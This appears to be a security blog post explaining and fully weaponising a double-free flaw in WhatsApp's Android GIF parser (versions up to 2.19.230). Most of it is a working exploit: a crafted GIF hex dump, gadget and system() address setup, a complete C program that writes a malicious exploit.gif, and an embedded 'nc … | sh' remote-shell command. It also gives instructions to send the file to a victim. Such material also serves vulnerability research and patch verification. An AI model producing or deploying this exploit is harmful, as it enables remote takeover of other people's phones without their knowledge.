Thursday, October 3, 2019

Exploiting a Double-Free Bug in WhatsApp to Achieve RCE

 

Exploiting a Double-Free Bug in WhatsApp to Achieve RCE

Vulnerability Analysis

The Double-Free Vulnerability

When a WhatsApp user opens the Gallery to send a media file, the app parses GIF files using the native libpl_droidsonroids_gif.so library to generate previews. This library contains a buffer named rasterBits for storing decoded frames. If the dimensions of the frames change, rasterBits is reallocated. If the new allocation size is zero, a double-free occurs. Here’s the critical code segment:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }

In Android, double-freeing a memory chunk of size N causes subsequent allocations of size N to return the same address. This property can be exploited to control memory allocation.

Controlling the PC Register

To achieve RCE, we need to control the program counter (PC) register. This involves exploiting the fact that rasterBits and GifInfo pointers can point to the same memory address after double-free. By crafting a specific GIF file, we can overwrite function pointers within the GifInfo structure.

Here's the relevant part of GifInfo:

struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };

By crafting a GIF file with specific frame sizes, we ensure rasterBits is freed twice, allowing us to manipulate the memory layout.

GIF File Construction

The crafted GIF file has frames of the following sizes:

  1. Size of GifInfo
  2. 0
  3. 0

This triggers the double-free vulnerability, allowing us to control the rasterBits buffer. The file content looks like this:

47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B

Exploiting the Vulnerability

When the WhatsApp Gallery parses the crafted GIF, it triggers the double-free:

  1. The rasterBits buffer is freed twice.
  2. Subsequent allocations return the same address.
  3. The crafted GIF overwrites the GifInfo structure, particularly the rewindFunction pointer.

Bypassing ASLR and W^X

To execute code remotely, we need to bypass ASLR and W^X protections. This involves:

  1. Finding a gadget in libhwui.so that allows us to set up registers correctly.
  2. Redirecting execution to the system() function to execute shell commands.

Here’s an example of setting up the exploit:

size_t g1_loc = 0x7cb81f0954; // Replace with actual gadget address memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = 0x7cb602ce84; // Replace with actual system function address memcpy(buffer + 24, &system_loc, 8); char *command = "toybox nc 192.168.2.72 4444 | sh"; memcpy(buffer + 32, command, strlen(command));

The buffer content before encoding:

00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA..

Generating the Exploit

Compile the provided code to generate the malicious GIF file:

Send the resulting exploit.gif as a document via WhatsApp. The exploit will trigger when the recipient opens their WhatsApp Gallery.

Here is the full implementation of the exploit in C:

#include "gif_lib.h" #include <stdio.h> #include <fcntl.h> #include <string.h> #define ONE_BYTE_HEX_STRING_SIZE 3 static inline void get_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) { int i; unsigned int byte_no = 0; if (buf_len <= 0) { if (hex_len > 0) { hex_[0] = '\0'; } return; } if (hex_len < ONE_BYTE_HEX_STRING_SIZE + 1) return; do { for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i) { snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff); hex_ += ONE_BYTE_HEX_STRING_SIZE; hex_len -= ONE_BYTE_HEX_STRING_SIZE; buf_len--; } if (buf_len > 1) { snprintf(hex_, hex_len, "\n"); hex_ += 1; } } while ((buf_len) > 0 && (hex_len > 0)); } int genLine_0(unsigned char *buffer) { unsigned char hexData[138] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF }; memcpy(buffer, hexData, sizeof(hexData)); size_t g1_loc = 0x7cb81f0954; // replace this memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = 0x7cb602ce84; // replace this memcpy(buffer + 24, &system_loc, 8); char *command = "toybox nc 192.168.2.72 4444 | sh"; memcpy(buffer + 32, command, strlen(command)); return sizeof(hexData); } int main(int argc, char *argv[]) { GifFilePrivateType Private = { .Buf[0] = 0, .BitsPerPixel = 8, .ClearCode = 256, .EOFCode = 257, .RunningCode = 258, .RunningBits = 9, .MaxCode1 = 512, .CrntCode = FIRST_CODE, .CrntShiftState = 0, .CrntShiftDWord = 0, .PixelCount = 112, .OutBuf = { 0 }, .OutBufLen = 0 }; int size = 0; unsigned char buffer[1000] = { 0 }; unsigned char line[500] = { 0 }; int line_size = genLine_0(line); EGifCompressLine(&Private, line, line_size); unsigned char starting[48] = { 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08 }; unsigned char padding[2] = { 0xFF, 0xFF }; unsigned char ending[61] = { 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B }; // starting bytes memcpy(buffer + size, starting, sizeof(starting)); size += sizeof(starting); // size of encoded line + padding int tmp = Private.OutBufLen + sizeof(padding); buffer[size++] = tmp; // encoded-line bytes memcpy(buffer + size, Private.OutBuf, Private.OutBufLen); size += Private.OutBufLen; // padding bytes of 0xFFs to trigger info->rewind(info); memcpy(buffer + size, padding, sizeof(padding)); size += sizeof(padding); // ending bytes memcpy(buffer + size, ending, sizeof(ending)); size += sizeof(ending); char hex_dump[5000]; get_hex(buffer, size, hex_dump, 5000, 16); printf("buffer = %p size = %d\n%s\n", buffer, size, hex_dump); int fd = open(argv[1], O_WRONLY | O_CREAT | O_TRUNC, 0644); write(fd, buffer, size); close(fd); }

Affected Versions

This exploit works on WhatsApp versions up to 2.19.230 and is patched in version 2.19.244. It affects Android 8.1 and 9.0 but is not effective on Android 8.0 and below due to system memory management differences.

Unveiling CVE-2024-38112 in the Shadows of Internet Explorer

Overview Recent security research uncovered a new vulnerability within Windows systems that exploits Internet Explorer to execute remote cod...